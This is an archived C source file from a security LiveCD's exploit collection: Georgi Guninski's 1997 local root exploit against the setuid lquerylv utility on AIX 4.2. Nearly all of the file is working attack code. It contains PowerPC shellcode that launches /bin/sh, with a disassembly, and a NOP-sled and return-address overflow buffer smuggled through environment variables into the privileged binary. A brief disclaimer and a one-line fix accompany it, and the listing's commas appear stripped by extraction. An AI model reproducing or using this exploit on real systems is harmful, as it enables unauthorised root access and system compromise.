home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / local / lquerylv.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  269 lines

  1. /*
  2. AIX 4.2
  3. (others?) lquerylv exploit by Georgi Guninski
  4.  
  5. ----------------------------------------
  6. DISCLAIMER
  7.  
  8. This program is for educational purpose ONLY. Do not use it without
  9. permission.
  10. The usual standard disclaimer applies
  11. especially the fact that Georgi
  12. Guninski
  13. is not liable for any damages caused by direct or  indirect use of
  14. the information or functionality provided by this program.
  15. Georgi Guninski
  16. his employer or any Internet provider bears NO
  17. responsibility for content
  18. or misuse of this program or any derivatives thereof.
  19. By using this program you accept the fact that any damage
  20. (dataloss system crash system compromise etc.) caused by
  21. the use of this program is not
  22. Georgi Guninski's responsibility.
  23.  
  24. In case you distribute this
  25. please keep the disclaimer and my addresses.
  26. -----------------------------------------
  27. Use the IBM C compiler.
  28. Compile with: cc -g aixlquerylv.c
  29. SOLUTION: #chmod -s /usr/sbin/lquerylv
  30. -----------------
  31. Georgi Guninski
  32. guninski@hotmail.com
  33. sgg@vmei.acad.bg
  34. guninski@linux2.vmei.acad.bg
  35. http://www.geocities.com/ResearchTriangle/1711
  36.  
  37. Suggestions
  38. comments and job offers are welcome!
  39. 26-MAY-97
  40. */
  41. #include <stdio.h>
  42. #include <stdlib.h>
  43. #include <string.h>
  44.  
  45.  
  46. char prog[100]="/usr/sbin/lquerylv";
  47. char prog2[30]="lquerylv";
  48. extern int execv();
  49.  
  50. char *createvar(char *name
  51.                 char *value)
  52. {
  53.   char *c;
  54.   int l;
  55.   l=strlen(name)+strlen(value)+4;
  56.   if (! (c=malloc(l)))
  57.     {
  58.       perror("error allocating");
  59.       exit(2);
  60.     };
  61.   strcpy(c
  62.          name);
  63.   strcat(c
  64.          =
  65.         );
  66.   strcat(c
  67.          value);
  68.   putenv(c);
  69.   return c;
  70. }
  71.  
  72. /*The program*/
  73. main(int argc
  74.      char **argv
  75.      char **env)
  76. {
  77.   /*The code*/
  78.   unsigned int code[]={
  79.     0x7c0802a6
  80.     0x9421fbb0
  81.     0x90010458
  82.     0x3c60f019
  83.  
  84.     0x60632c48
  85.     0x90610440
  86.     0x3c60d002
  87.     0x60634c0c
  88.  
  89.     0x90610444
  90.     0x3c602f62
  91.     0x6063696e
  92.     0x90610438
  93.  
  94.     0x3c602f73
  95.     0x60636801
  96.     0x3863ffff
  97.     0x9061043c
  98.  
  99.     0x30610438
  100.     0x7c842278
  101.     0x80410440
  102.     0x80010444
  103.  
  104.     0x7c0903a6
  105.     0x4e800420
  106.     0x0
  107.   };
  108.   /* disassembly
  109.   7c0802a6        mfspr   r0
  110.   LR
  111.   9421fbb0        stu     SP
  112.   -1104(SP) --get stack
  113.   90010458        st      r0
  114.   1112(SP)
  115.   3c60f019        cau     r3
  116.   r0
  117.   0xf019 --CTR
  118.   60632c48        lis     r3
  119.   r3
  120.   11336  --CTR
  121.   90610440        st      r3
  122.   1088(SP)
  123.   3c60d002        cau     r3
  124.   r0
  125.   0xd002 --TOC
  126.   60634c0c        lis     r3
  127.   r3
  128.   19468  --TOC
  129.   90610444        st      r3
  130.   1092(SP)
  131.   3c602f62        cau     r3
  132.   r0
  133.   0x2f62 --'/bin/sh\x01'
  134.   6063696e        lis     r3
  135.   r3
  136.   26990
  137.   90610438        st      r3
  138.   1080(SP)
  139.   3c602f73        cau     r3
  140.   r0
  141.   0x2f73
  142.   60636801        lis     r3
  143.   r3
  144.   26625
  145.   3863ffff        addi    r3
  146.   r3
  147.   -1
  148.   9061043c        st      r3
  149.   1084(SP) --terminate with 0
  150.   30610438        lis     r3
  151.   SP
  152.   1080
  153.   7c842278        xor     r4
  154.   r4
  155.   r4    --argv=NULL
  156.   80410440        lwz     RTOC
  157.   1088(SP)
  158.   80010444        lwz     r0
  159.   1092(SP) --jump
  160.   7c0903a6        mtspr   CTR
  161.   r0
  162.   4e800420        bctr              --jump
  163.   */
  164.  
  165. #define MAXBUF 600
  166.   unsigned int buf[MAXBUF];
  167.   unsigned int frame[MAXBUF];
  168.   unsigned int i
  169.   nop
  170.   mn;
  171.   int max;
  172.   int QUIET=0;
  173.   int dobuf=0;
  174.   unsigned int toc;
  175.   unsigned int eco;
  176.   unsigned int *pt;
  177.   char *t;
  178.   int ch;
  179.   unsigned int reta; /* return address */
  180.   int corr=4600;
  181.   char *args[4];
  182.   char *arg1="-L";
  183.   char *newenv[8];
  184.   int startwith=0;
  185.  
  186.   mn=100;
  187.   max=280;
  188.  
  189.   if (argc>1)
  190.     corr = atoi(argv[1]);
  191.  
  192.   pt=(unsigned *) &execv;
  193.   toc=*(pt+1);
  194.   eco=*pt;
  195.  
  196.   if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
  197.     {
  198.       perror("Bad parameters");
  199.       exit(1);
  200.     }
  201.  
  202. #define OO 7
  203.   *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
  204.   *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  205.   *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
  206.   *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
  207.                                       0x0000ffff);
  208.  
  209.   reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
  210.  
  211.   for(nop=0;nop<mn;nop++)
  212.     buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
  213.   strcpy((char*)&buf[nop]
  214.          (char*)&code);
  215.   i=nop+strlen( (char*) &code)/4-1;
  216.  
  217.   if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
  218.       || !(reta && 0xff000000))
  219.     {
  220.       perror("Return address has zero");
  221.       exit(5);
  222.     }
  223.  
  224.   while(i++<max)
  225.     buf[i]=reta;
  226.   buf[i]=0;
  227.  
  228.   for(i=0;i<max-1;i++)
  229.     frame[i]=reta;
  230.   frame[i]=0;
  231.  
  232.   if(QUIET)
  233.     {
  234.       puts((char*)&buf);
  235.       fflush(stdout);
  236.       exit(0);
  237.     };
  238.  
  239.   /* 4 vars 'cause the correct one should be aligned at 4bytes boundary */
  240.   newenv[0]=createvar("EGGSHEL"
  241.                       (char*)&buf[0]);
  242.   newenv[1]=createvar("EGGSHE2"
  243.                       (char*)&buf[0]);
  244.   newenv[2]=createvar("EGGSHE3"
  245.                       (char*)&buf[0]);
  246.   newenv[3]=createvar("EGGSHE4"
  247.                       (char*)&buf[0]);
  248.  
  249.  
  250.   newenv[4]=createvar("DISPLAY"
  251.                       getenv("DISPLAY"));
  252.   newenv[5]=NULL;
  253.  
  254.   args[0]=prog2;
  255.   args[1]=arg1;
  256.   args[2]=(char*)&frame[0]; /* Just frame pointers */
  257.   puts("Start...");/*Here we go*/
  258.   execve(prog
  259.          args
  260.          newenv);
  261.   perror("Error executing execve \n");
  262.   /*      Georgi Guninski
  263.   guninski@hotmail.com
  264.   sgg@vmei.acad.bg
  265.   guninski@linux2.vmei.acad.bg
  266.   http://www.geocities.com/ResearchTriangle/1711
  267.   */
  268. }
  269. /*                    www.hack.co.za        [26 may 1997]*/